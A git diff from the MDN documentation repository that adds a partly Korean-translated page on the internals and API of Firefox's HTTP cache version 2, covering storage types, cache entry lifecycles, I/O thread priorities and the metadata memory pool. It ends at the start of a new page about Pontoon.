+ <li><a href="/en-US/docs/Mozilla/Thunderbird/Releases">Thunderbird developer release notes</a></li>
+</ul>
diff --git a/files/ko/mozilla/http_cache/index.html b/files/ko/mozilla/http_cache/index.html
new file mode 100644
index 0000000000..8613350f2d
--- /dev/null
+++ b/files/ko/mozilla/http_cache/index.html
@@ -0,0 +1,483 @@
+---
+title: HTTP 캐시
+slug: Mozilla/HTTP_cache
+translation_of: Mozilla/HTTP_cache
+---
+<div class="geckoVersionNote">
+<p style="margin-bottom: 0in;">이 문서는 <strong>새로운 HTTP 캐시 version 2</strong>를 기술하고 있습니다.</p>
+</div>
+
+<p style="margin-bottom: 0in;"> </p>
+
+<p style="margin-bottom: 0in;">코드는 <a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/">/network/cache2</a> 에 존재합니다.</p>
+
+<p style="margin-bottom: 0in;"> </p>
+
+<h2 id="API" style="margin-bottom: 0in;">API</h2>
+
+<p>다음은 HTTP 캐시 v2 API에 대한 자세한 설명으로,  예제들을 포함하고 있습니다.  이 문서에는 <a href="http://mxr.mozilla.org/mozilla-central/find?text=&amp;string=cache2/nsICache">IDL files</a> 주석에서 찾을 수 없거나 명시되지 않은 내용만 들어있습니다.</p>
+
+<ul>
+ <li>캐시 API는 완벽하게 <strong>스레드로부터 안전</strong>하며 <strong>블록킹이 없습니다</strong>.</li>
+ <li><strong>IPC 지원</strong>은 <strong>없습니다</strong>. 기본 크롬 프로세스에서만 액세스할 수 있습니다.</li>
+ <li>프로파일이 없으면 새로운 HTTP 캐시가 작동하지만, 모든 것은 어떤 특정 제한도 따르지 않는 메모리에만 저장됩니다.</li>
+</ul>
+
+<div class="warning">
+<p><code>nsICacheService</code> 등의 <strong>오래된</strong> 캐시 API를 더 이상 <strong>사용하지 말 것</strong>을 적극 권장합니다.  이는 곧 완전히 폐기되고 제거될 것입니다. (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=913828">bug 913828</a>).</p>
+</div>
+
+<h3 id="nsICacheStorageService_2" style="margin-bottom: 0in;"><a name="nsICacheStorageService"><strong>nsICacheStorageService</strong></a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">HTTP 캐시 엔트리 포인트입니다.  서비스로만 액세스 가능하며, 스레드로부터 안전하고 스크립팅 가능합니다.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheStorageService.idl">https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheStorageService.idl</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="display: none;"> </span><code><span style="color: #b22222;">"@mozilla.org/netwerk/cache-storage-service;1"</span></code></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">특정 URL마다 캐시 항목에 대한 추가 액세스 – 아래 <a href="#nsICacheStorage"><code>nsICacheEntry</code></a> 참조 – 를 제공하는 “storage”(“저장소”) 객체 – 아래 <code><a href="#nsICacheStorage">nsICacheStorage</a></code> 참조 – 에 액세스하는 메소드를 제공합니다.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">현재 저장소는 3가지 유형이 있으며, 모든 액세스 메소드는 <a href="#nsICacheStorage"><code>nsICacheStorage</code></a>를 반환(return)합니다. :</p>
+
+  <ul>
+   <li>
+    <p style="margin-bottom: 0in;"><strong>메모리-온리 </strong>(<code>memoryCacheStorage</code>): 데이터를 메모리 캐시에만 저장하며, 이 저장소의 데이터는 절대로 디스크에 저장되지 않습니다.</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><strong>디스크</strong> (<code>diskCacheStorage</code>): 디스크에 데이터를 저장하지만, 기존 항목의 경우 <u>memory-only storage도 검색합니다</u>; 특수한 인수(argument)를 통해 지시를 받으면 <u>애플리케이션 캐시 또한 주로 검색합니다</u>.</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><strong>애플리케이션 캐시 </strong>(<code>appCacheStorage</code>): 컨슈머가 특정 <code>nsIApplicationCache</code> (즉, 한 그룹의 특정 앱 캐시 버전)를 가지고 있을 때, 이 저장소는 애플리케이션 캐시 항목에 대한 읽기 및 쓰기 권한을 제공합니다.; 앱 캐시가 특정되지 않았다면, 저장소는 기존의 모든 앱 캐시에서 작동합니다.</p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">The service also provides methods to clear the whole disk and memory cache content or purge any intermediate memory structures:</p>
+
+  <ul>
+   <li>
+    <p style="margin-bottom: 0in;"><code>clear </code>– after it returns, all entries are no longer accessible through the cache APIs; the method is fast to execute and non-blocking in any way; the actual erase happens in background</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><code>purgeFromMemory </code>– removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the <a href="#Intermediate_memory_caching">intermediate cache</a> below)</p>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="nsILoadContextInfo_2" style="margin-bottom: 0in;"><a name="nsILoadContextInfo">nsILoadContextInfo</a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;">Distinguishes the scope of the storage demanded to open.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Mandatory argument to <code>*Storage</code> methods of <code>nsICacheStorageService</code>.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsILoadContextInfo.idl">https://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsILoadContextInfo.idl</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;">It is a</span><span style="font-weight: normal;"> helper interface wrapping following four arguments into a single one:</span></p>
+
+  <ul>
+   <li>
+    <p style="margin-bottom: 0in; font-weight: normal;"><strong>private-browsing</strong> boolean flag</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in; font-weight: normal;"><strong>anonymous load</strong> boolean flag</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><span style="font-weight: normal;"><strong>app ID</strong> number (<code>0</code> for no app)</span></p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;"><span style="font-weight: normal;"><strong>is-in-browser</strong> boolean flag</span></p>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <div class="note">
+  <p style="margin-bottom: 0in;">Helper functions to create nsILoadContextInfo objects:</p>
+
+  <ul>
+   <li>
+    <p style="margin-bottom: 0in;">C++ consumers: functions at <code>LoadContextInfo.h</code> exported header</p>
+   </li>
+   <li>
+    <p style="margin-bottom: 0in;">JS consumers: <code>resource://gre/modules/LoadContextInfo.jsm</code> module methods</p>
+   </li>
+  </ul>
+  </div>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Two storage objects created with the same set of <code>nsILoadContextInfo </code>arguments are identical, containing the same cache entries.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Two storage objects created with in any way different <code>nsILoadContextInfo </code>arguments are strictly and completely distinct and cache entries in them do not overlap even when having the same URIs.</p>
+ </li>
+</ul>
+
+<h3 id="nsICacheStorage_2" style="margin-bottom: 0in;"><a name="nsICacheStorage"><strong>nsICacheStorage</strong></a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheStorage.idl"><span style="font-weight: normal;">https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheStorage.idl</span></a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">Obtained from call to one of the <code>*Storage</code> methods on <a href="#nsICacheStorageService"><code>nsICacheStorageService</code></a>.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;">Represents a distinct storage area (or scope) to put and get cache entries mapped by URLs into and from it.</span></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><em><span style="font-weight: normal;">Similarity with the old cache</span></em><span style="font-weight: normal;">: this interface may be with some limitations considered as a mirror to <code>nsICacheSession</code>, but less generic and not inclining to abuse.</span></p>
+ </li>
+ <li>
+  <div class="warning">
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;"><strong>Unimplemented or underimplemented functionality:</strong></span></p>
+
+  <p><span style="font-weight: normal;">asyncEvictStorage (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=977766">bug 977766</a>)</span>, asyncVisitStorage (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=916052">bug 916052</a>)</p>
+  </div>
+ </li>
+</ul>
+
+<h3 id="nsICacheEntryOpenCallback_2" style="margin-bottom: 0in;"><a name="nsICacheEntryOpenCallback"><strong>nsICacheEntryOpenCallback</strong></a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheEntryOpenCallback.idl">https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheEntryOpenCallback.idl</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">The result of <code>nsICacheStorage.asyncOpenURI</code> is always and only sent to callbacks on this interface.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">These callbacks are ensured to be invoked when <code>asyncOpenURI</code> returns <code>NS_OK</code>.</p>
+ </li>
+ <li>
+  <div class="warning">
+  <p style="margin-bottom: 0in; font-weight: normal;"><strong>Important difference in behavior from the old cache:</strong> when the cache entry object is already present in memory or open as “force-new” (a.k.a “open-truncate”) this callback is invoked sooner then the <code>asyncOpenURI </code>method returns (i.e. immediately); there is currently no way to opt out of this feature (watch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=938186">bug 938186</a>).</p>
+  </div>
+ </li>
+</ul>
+
+<h3 id="nsICacheEntry_2" style="margin-bottom: 0in;"><a name="nsICacheEntry"><strong>nsICacheEntry</strong></a></h3>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheEntry.idl">https://dxr.mozilla.org/mozilla-central/source/netwerk/cache2/nsICacheEntry.idl</a></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;">Obtained asynchronously or pseudo-asynchronously by a call to <code><a href="#nsICacheStorage">nsICacheStorage</a>.asyncOpenURI</code>.</span></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">Provides access to a cached entry data and meta data for reading or writing or in some cases both, see below.</p>
+ </li>
+</ul>
+
+<h4 id="Lifetime_of_a_new_entry">Lifetime of a new entry</h4>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0in;"><span style="font-weight: normal;">Such entry is initially empty (no data or meta data is stored in it).</span></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in;">The <code>aNew </code>argument in <code>onCacheEntryAvailable</code> is <code>true</code> for and only for new entries.</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">Only one consumer (the so called "<em>writer</em>") may have such an entry available (obtained via <code>onCacheEntryAvailable</code>).</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0in; font-weight: normal;">Other parallel openers of the same cache entry are blocked (wait) for invocation of their <code>onCacheEntryAvailable</code> until one of the following occurs:</p>
+
+  <ul>
+   <li>The <em>writer </em>simply throws the entry away: other waiting opener in line gets the entry again as "<em>new</em>", the cycle repeats.
+
+    <div class="note">
+    <p>This applies in general, writers throwing away the cache entry means a failure to write the cache entry and a new writer is being looked for again, the cache entry remains empty (a.k.a. "new").</p>
+    </div>
+   </li>
+   <li>The <em>writer </em>stored all necessary meta data in the cache entry and called <code>metaDataReady</code> on it: other consumers now get the entry and may examine and potentially modify the meta data and read the data (if any) of the cache entry.</li>
+   <li>When the <em>writer</em> has data (i.e. the response payload) to write to the cache entry, it <strong>must </strong>open the output stream on it <strong>before </strong>it calls <code>metaDataReady</code>.</li>
+  </ul>
+ </li>
+ <li>When the <em>writer</em> still keeps the cache entry and has open and keeps open the output stream on it, other consumers may open input streams on the entry. The data will be available as the <em>writer</em> writes data to the cache entry's output stream immediately, even before the output stream is closed. This is called <a href="#Concurrent_read_and_write"><strong>concurrent read/write</strong></a>.</li>
+</ul>
+
+<h4 id="Concurrent_read_and_write" style="margin-bottom: 0in; font-weight: normal;"><a name="Concurrent read and write">Concurrent read and write</a></h4>
+
+<div class="warning">
+<p><strong>Important difference in behavior from the old cache:</strong> the cache now supports reading a cache entry data while it is still being written by the first consumer - the <em>writer</em>.</p>
+</div>
+
+<p>This can only be engaged for resumable responses that (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=960902#c17">bug 960902</a>) don't need revalidation. Reason is that when the writer is interrupted (by e.g. external canceling of the loading channel) concurrent readers would not be able to reach the remaning unread content.</p>
+
+<div class="note">
+<p>This could be improved by keeping the network load running and being stored to the cache entry even after the writing channel has been canceled.</p>
+</div>
+
+<p>When the <em>writer</em> is interrupted, the first concurrent <em>reader</em> in line does a range request for the rest of the data - and becomes that way a new <em>writer</em>. The rest of the <em>readers</em> are still concurrently reading the content since output stream for the cache entry is again open and kept by the current <em>writer</em>.</p>
+
+<h4 id="Lifetime_of_an_existing_entry_with_only_a_partial_content" style="margin-bottom: 0in; font-weight: normal;">Lifetime of an existing entry with only a partial content</h4>
+
+<ul>
+ <li>Such a cache entry is first examined in the <code>nsICacheEntryOpenCallback.onCacheEntryCheck</code> callback, where it has to be checked for completeness.</li>
+ <li>In this case, the <code>Content-Length</code> (or different indicator) header doesn't equal to the data size reported by the cache entry.</li>
+ <li>The consumer then indicates the cache entry needs to be revalidated by returning <code>ENTRY_NEEDS_REVALIDATION </code>from <code>onCacheEntryCheck</code>.</li>
+ <li>This consumer, from the point of view the cache, takes a role of the <em>writer</em>.</li>
+ <li>Other parallel consumers, if any, are blocked until the <em>writer</em> calls <code>setValid</code> on the cache entry.</li>
+ <li>The consumer is then responsible to validate the partial content cache entry with the network server and attempt to load the rest of the data.</li>
+ <li>When the server responds positively (in case of an HTTP server with a 206 response code) the <em>writer </em>(in this order) opens the output stream on the cache entry and calls <code>setValid</code> to unblock other pending openers.</li>
+ <li>Concurrent read/write is engaged.</li>
+</ul>
+
+<h4 id="Lifetime_of_an_existing_entry_that_doesn't_pass_server_revalidation" style="margin-bottom: 0in; font-weight: normal;">Lifetime of an existing entry that doesn't pass server revalidation</h4>
+
+<ul>
+ <li>Such a cache entry is first examined in the <code>nsICacheEntryOpenCallback.onCacheEntryCheck</code> callback, where the consumer finds out it must be revalidated with the server before use.</li>
+ <li>The consumer then indicates the cache entry needs to be revalidated by returning <code>ENTRY_NEEDS_REVALIDATION </code>from <code>onCacheEntryCheck</code>.</li>
+ <li>This consumer, from the point of view the cache, takes a role of the <em>writer</em>.</li>
+ <li>Other parallel consumers, if any, are blocked until the <em>writer</em> calls <code>setValid</code> on the cache entry.</li>
+ <li>The consumer is then responsible to validate the partial content cache entry with the network server.</li>
+ <li>The server responses with a 200 response which means the cached content is no longer valid and a new version must be loaded from the network.</li>
+ <li>The <em>writer</em> then calls <code>recreate </code>on the cache entry. This returns a new empty entry to write the meta data and data to, the <em>writer</em> exchanges its cache entry by this new one and handles it as a new one.</li>
+ <li>The <em>writer</em> then (in this order) fills the necessary meta data of the cache entry, opens the output stream on it and calls <code>metaDataReady</code> on it.</li>
+ <li>Any other pending openers, if any, are now given this new entry to examine and read as an existing entry.</li>
+</ul>
+
+<h3 id="Adding_a_new_storage" style="margin-bottom: 0in;">Adding a new storage</h3>
+
+<p>Should there be a need to add a new distinct storage for which the current scoping model would not be sufficient - use one of the two following ways:</p>
+
+<ol>
+ <li><em>[preffered]</em> Add a new <code>&lt;Your&gt;Storage</code> method on <code>nsICacheStorageService</code> and if needed give it any arguments to specify the storage scope even more.  Implementation only should need to enhance the context key generation and parsing code and enhance current - or create new when needed - <code>nsICacheStorage</code> implementations to carry any additional information down to the cache service.</li>
+ <li><em>[<strong>not</strong> preferred]</em> Add a new argument to <a href="#nsILoadContextInfo"><code>nsILoadContextInfo</code></a>; <strong>be careful here</strong>, since some arguments on the context may not be known during the load time, what may lead to inter-context data leaking or implementation problems. Adding more distinction to <code>nsILoadContextInfo</code> also affects all existing storages which may not be always desirable.</li>
+</ol>
+
+<p>See context keying details for more information.</p>
+
+<h3 id="Code_examples">Code examples</h3>
+
+<p>TBD</p>
+
+<h4 id="Opening_an_entry">Opening an entry</h4>
+
+<h4 id="Creating_a_new_entry">Creating a new entry</h4>
+
+<h4 id="Recreating_an_already_open_entry">Recreating an already open entry</h4>
+
+<h2 id="Implementation">Implementation</h2>
+
+<h3 id="Threading">Threading</h3>
+
+<p>The cache API is fully thread-safe.</p>
+
+<p>The cache is using a single background thread where any IO operations like opening, reading, writing and erasing happen.  Also memory pool management, eviction, visiting loops happen on this thread.</p>
+
+<p>The thread supports several priority levels. Dispatching to a level with a lower number is executed sooner then dispatching to higher number layers; also any loop on lower levels yields to higher levels so that scheduled deletion of 1000 files will not block opening cache entries.</p>
+
+<ol>
+ <li><strong>OPEN_PRIORITY:</strong> except opening priority cache files also file dooming happens here to prevent races</li>
+ <li><strong>READ_PRIORITY:</strong> top level documents and head blocking script cache files are open and read as the first</li>
+ <li><strong>OPEN</strong></li>
+ <li><strong>READ:</strong> any normal priority content, such as images are open and read here</li>
+ <li><strong>WRITE:</strong> writes are processed as last, we cache data in memory in the mean time</li>
+ <li><strong>MANAGEMENT:</strong> level for the memory pool and CacheEntry background operations</li>
+ <li><strong>CLOSE:</strong> file closing level</li>
+ <li><strong>INDEX:</strong> index is being rebuild here</li>
+ <li><strong>EVICT:</strong> files overreaching the disk space consumption limit are being evicted here</li>
+</ol>
+
+<p>NOTE: Special case for eviction - when an eviction is scheduled on the IO thread, all operations pending on the OPEN level are first merged to the OPEN_PRIORITY level. The eviction preparation operation - i.e. clearing of the internal IO state - is then put to the end of the OPEN_PRIORITY level.  All this happens atomically. This functionality is currently pending in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=976866">bug 976866</a>.</p>
+
+<h3 id="Storage_and_entries_scopes">Storage and entries scopes</h3>
+
+<p>A <em>scope key</em> string used to map the storage scope is based on the arguments of <code><a href="#nsILoadContextInfo">nsILoadContextInfo</a></code>. The form is following (currently pending in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=968593">bug 968593</a>):</p>
+
+<pre class="bz_comment_text" id="comment_text_0">a,b,i1009,p,</pre>
+
+<ul>
+ <li>Regular expression: <code>(.([^,]+)?,)*</code></li>
+ <li>The first letter is an identifier, identifiers are to be alphabetically sorted and always terminate with ','</li>
+ <li>a - when present the scope is belonging to an <strong>anonymous</strong> load</li>
+ <li>b - when present the scope is <strong>in browser element</strong> load</li>
+ <li>i - when present must have a decimal integer value that represents an app ID the scope belongs to, otherwise there is no app (app ID is considered <code>0</code>)</li>
+ <li>p - when present the scope is of a <strong>private browsing </strong>load, this never persists</li>
+</ul>
+
+<p><code><strong>CacheStorageService </strong></code>keeps a global hashtable mapped by the <em>scope key</em>. Elements in this global hashtable are hashtables of cache entries. The cache entries are mapped by concantation of Enhance ID and URI passed to <code>nsICacheStorage.asyncOpenURI</code>.  So that when an entry is beeing looked up, first the global hashtable is searched using the <em>scope key</em>. An entries hashtable is found. Then this entries hashtable is searched using &lt;enhance-id:&gt;&lt;uri&gt; string. The elemets in this hashtable are CacheEntry classes, see below.</p>
+
+<p>The hash tables keep a strong reference to <code>CacheEntry</code> objects. The only way to remove <code>CacheEntry</code> objects from memory is by exhausting a memory limit for <a href="##Intermediate_memory_caching">intermediate memory caching</a>, what triggers a background process of purging expired and then least used entries from memory. Another way is to directly call the <code>nsICacheStorageService.purge </code>method. That method is also called automatically on the <span style="color: #b22222;"><code>"memory-pressure"</code></span> indication.</p>
+
+<p>Access to the hashtables is protected by a global lock. We also - in a thread-safe manner - count the number of consumers keeping a reference on each entry. The open callback actually doesn't give the consumer directly the <code>CacheEntry</code> object but a small wrapper class that manages the 'consumer reference counter' on its cache entry. This both mechanisms ensure thread-safe access and also inability to have more then a single instance of a <code>CacheEntry</code> for a single &lt;scope+enhanceID+URL&gt; key.</p>
+
+<p><code><strong>CacheStorage</strong></code>, implementing the <code><a href="#nsICacheStorage">nsICacheStorage</a></code> interface, is forwarding all calls to internal methods of <code>CacheStorageService</code> passing itself as an argument.  <code>CacheStorageService</code> then generates the <em>scope key</em> using the <code><a href="#nsILoadContextInfo">nsILoadContextInfo</a></code> of the storage. <span style="color: #696969;">Note: CacheStorage keeps a thread-safe copy of <code>nsILoadContextInfo</code> passed to a <code>*Storage</code> method on <code>nsICacheStorageService</code>.</span></p>
+
+<h3 id="Invoking_open_callbacks">Invoking open callbacks</h3>
+
+<p><code><strong>CacheEntry</strong></code>, implementing the <code><a href="#nsICacheEntry">nsICacheEntry</a></code> interface, is responsible for managing the cache entry internal state and to properly invoke <code>onCacheEntryCheck</code> and <code>onCacheEntryAvaiable</code> callbacks to all callers of <code>nsICacheStorage.asyncOpenURI</code>.</p>
+
+<ul>
+ <li>Keeps a FIFO of all openers.</li>
+ <li>Keeps its internal state like NOTLOADED, LOADING, EMPTY, WRITING, READY, REVALIDATING.</li>
+ <li>Keeps the number of consumers keeping a reference to it.</li>
+ <li>Refers a <code>CacheFile</code> object that holds actual data and meta data and, when told to, persists it to the disk.</li>
+</ul>
+
+<p>The openers FIFO is an array of <code>CacheEntry::Callback</code> objects. <code>CacheEntry::Callback</code> keeps a strong reference to the opener plus the opening flags.  <code>nsICacheStorage.asyncOpenURI</code> forwards to <code>CacheEntry::AsyncOpen</code> and triggers the following pseudo-code:</p>
+
+<p><a name="CacheStorage::AsyncOpenURI"><strong>CacheStorage::AsyncOpenURI - the API entry point</strong></a>:</p>
+
+<ul>
+ <li>globally atomic:
+  <ul>
+   <li>look a given <code>CacheEntry</code> in <code>CacheStorageService</code> hash tables up</li>
+   <li>if not found: create a new one, add it to the proper hash table and set its state to NOTLOADED</li>
+   <li>consumer reference ++</li>
+  </ul>
+ </li>
+ <li>call to <a href="#CacheEntry::AsyncOpen">CacheEntry::AsyncOpen</a></li>
+ <li>consumer reference --</li>
+</ul>
+
+<p><a name="CacheEntry::AsyncOpen"><strong>CacheEntry::AsyncOpen</strong> (entry atomic)</a>:</p>
+
+<ul>
+ <li>the opener is added to FIFO, consumer reference ++ (dropped back after an opener is removed from the FIFO)</li>
+ <li>state == NOTLOADED:
+  <ul>
+   <li>state = LOADING</li>
+   <li>when OPEN_TRUNCATE flag was used:
+    <ul>
+     <li><code>CacheFile</code> is created as 'new', state = EMPTY</li>
+    </ul>
+   </li>
+   <li>otherwise:
+    <ul>
+     <li><code>CacheFile</code> is created and load on it started</li>
+     <li><code><a href="#CacheEntry::OnFileReady">CacheEntry::OnFileReady</a></code> notification is now expected</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>state == LOADING: just do nothing and exit</li>
+ <li>call to <a href="#CacheEntry::InvokeCallbacks">CacheEntry::InvokeCallbacks</a></li>
+</ul>
+
+<p><a name="CacheEntry::InvokeCallbacks"><strong>CacheEntry::InvokeCallbacks</strong> (entry atomic):</a></p>
+
+<ul>
+ <li>called on:
+  <ul>
+   <li>a new opener has been added to the FIFO via an <code><strong><a href="#CacheEntry::AsyncOpen">AsyncOpen</a></strong></code> call</li>
+   <li>asynchronous result of <a href="#CacheEntry::OnFileReady"><strong><code>CacheFile</code> open</strong></a></li>
+   <li>the <a href="#CacheEntry::OnHandleClosed"><strong><em>writer</em> throws the entry away</strong></a></li>
+   <li>the <strong>output stream </strong>of the entry has been <strong>opened </strong>or <strong>closed</strong></li>
+   <li><code><strong>metaDataReady </strong></code>or <code><strong>setValid </strong></code>on the entry has been called</li>
+   <li>the entry has been <strong>doomed</strong></li>
+  </ul>
+ </li>
+ <li>state == EMPTY:
+  <ul>
+   <li>on OPER_READONLY flag use: onCacheEntryAvailable with <code>null </code>for the cache entry</li>
+   <li>otherwise:
+    <ul>
+     <li>state = WRITING</li>
+     <li>opener is removed from the FIFO and remembered as the current '<em>writer</em>'</li>
+     <li>onCacheEntryAvailable with <code>aNew = true </code>and this entry is invoked (on the caller thread) for the <em>writer</em></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>state == READY:
+  <ul>
+   <li>onCacheEntryCheck with the entry is invoked on the first opener in FIFO - on the caller thread if demanded</li>
+   <li>result == RECHECK_AFTER_WRITE_FINISHED:
+    <ul>
+     <li>opener is left in the FIFO with a flag <code>RecheckAfterWrite</code></li>
+     <li>such openers are skipped until the output stream on the entry is closed, then <code>onCacheEntryCheck</code> is re-invoked on them</li>
+     <li><span style="color: #696969;">Note: here is a potential for endless looping when RECHECK_AFTER_WRITE_FINISHED is abused</span></li>
+    </ul>
+   </li>
+   <li>result == ENTRY_NEEDS_REVALIDATION:
+    <ul>
+     <li>state = REVALIDATING, this prevents invocation of any callback until <code>CacheEntry::SetValid</code> is called</li>
+     <li>continue as in state ENTRY_WANTED (just bellow)</li>
+    </ul>
+   </li>
+   <li>result == ENTRY_WANTED:
+    <ul>
+     <li>consumer reference ++ (dropped back when the consumer releases the entry)</li>
+     <li>onCacheEntryAvailable is invoked on the opener with <code>aNew = false </code>and the entry</li>
+     <li>opener is removed from the FIFO</li>
+    </ul>
+   </li>
+   <li>result == ENTRY_NOT_WANTED:
+    <ul>
+     <li><code>onCacheEntryAvailable</code> is invoked on the opener with <code>null </code>for the entry</li>
+     <li>opener is removed from the FIFO</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>state == WRITING or REVALIDATING:
+  <ul>
+   <li>do nothing and exit</li>
+  </ul>
+ </li>
+ <li>any other value of state is unexpected here (assertion failure)</li>
+ <li>loop this process while there are openers in the FIFO</li>
+</ul>
+
+<p><a name="CacheEntry::OnFileReady"><strong>CacheEntry::OnFileReady</strong> (entry atomic):</a></p>
+
+<ul>
+ <li>load result == failure or the file has not been found on disk (is new): state = EMPTY</li>
+ <li>otherwise: state = READY since the cache file has been found and is usable containing meta data and data of the entry</li>
+ <li>call to <a href="#CacheEntry::InvokeCallbacks">CacheEntry::InvokeCallbacks</a></li>
+</ul>
+
+<p><a name="CacheEntry::OnHandleClosed"><strong>CacheEntry::OnHandleClosed</strong> (entry atomic):</a></p>
+
+<ul>
+ <li>Called when any consumer throws the cache entry away</li>
+ <li>If the handle is not the handle given to the current <em>writer</em>, then exit</li>
+ <li>state == WRITING: the writer failed to call <code>metaDataReady</code> on the entry - state = EMPTY</li>
+ <li>state == REVALIDATING: the writer failed the re-validation process and failed to call <code>setValid</code> on the entry - state = READY</li>
+ <li>call to <a href="#CacheEntry::InvokeCallbacks">CacheEntry::InvokeCallbacks</a></li>
+</ul>
+
+<p><strong><a name="All consumers release the reference">All consumers release the reference</a>:</strong></p>
+
+<ul>
+ <li>the entry may now be purged (removed) from memory when found expired or least used on overrun of the <a href="#Intermediate_memory_caching">memory pool</a> limit</li>
+ <li>when this is a disk cache entry, its cached data chunks are released from memory and only meta data is kept</li>
+</ul>
+
+<h3 id="Intermediate_memory_caching_of_frequently_used_metadata_(a.k.a._disk_cache_memory_pool)"><a name="Intermediate_memory_caching">Intermediate memory caching </a>of frequently used metadata (a.k.a. disk cache memory pool)</h3>
+
+<div class="note">
+<p>This is a description of this feature status that is currently only a patch in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=986179">bug 986179</a>. Current behavior is simpler and causes a serious memory consumption regression (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=975367">bug 975367</a>).</p>
+</div>
+
+<p>For the disk cache entries we keep some of the most recent and most used cache entries' meta data in memory for immediate zero-thread-loop opening. The default size of this meta data memory pool is only 250kB and is controlled by a new <code>browser.cache.disk.metadata_memory_limit</code> preference. When the limit is exceeded, we purge (throw away) first <strong>expired</strong> and then <strong>least used </strong>entries to free up memory again. </p>
+
+<p>Only <code>CacheEntry</code> objects that are already loaded and filled with data and having the 'consumer reference == 0' (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=942835#c3">bug 942835</a>) can be purged.</p>
+
+<p>The 'least used' entries are recognized by the lowest value of <a href="https://wiki.mozilla.org/User:Jesse/NewFrecency?title=User:Jesse/NewFrecency">frecency</a> we re-compute for each entry on its every access. The decay time is controlled by the <code>browser.cache.frecency_half_life_hours</code> preference and defaults to 6 hours. The best decay time will be based on results of <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=986728">an experiment</a>.</p>
+
+<p>The memory pool is represented by two lists (strong refering ordered arrays) of <code>CacheEntry</code> objects:</p>
+
+<ol>
+ <li>Sorted by expiration time (that default to 0xFFFFFFFF)</li>
+ <li>Sorted by frecency (defaults to 0)</li>
+</ol>
+
+<p>We have two such pools, one for memory-only entries actually representing the memory-only cache and one for disk cache entries for which we only keep the meta data.  Each pool has a different limit checking - the memory cache pool is controlled by <code>browser.cache.memory.capacity</code>, the disk entries pool is already described above. The pool can be accessed and modified only on the cache background thread.</p>
+
+<div id="cke_pastebin" style="position: absolute; top: 144px; width: 1px; height: 1px; overflow: hidden; left: -1000px;">"@mozilla.org/netwerk/cache-storage-service;1"</div>
diff --git a/files/ko/mozilla/implementing_pontoon_in_a_mozilla_website/index.html b/files/ko/mozilla/implementing_pontoon_in_a_mozilla_website/index.html
new file mode 100644
index 0000000000..f839f06acd
--- /dev/null
+++ b/files/ko/mozilla/implementing_pontoon_in_a_mozilla_website/index.html
@@ -0,0 +1,73 @@
+---
+title: 모질라 프로젝트에서 Pontoon 실행하기
+slug: Mozilla/Implementing_Pontoon_in_a_Mozilla_website
+translation_of: Mozilla/Implementing_Pontoon_in_a_Mozilla_website
+---
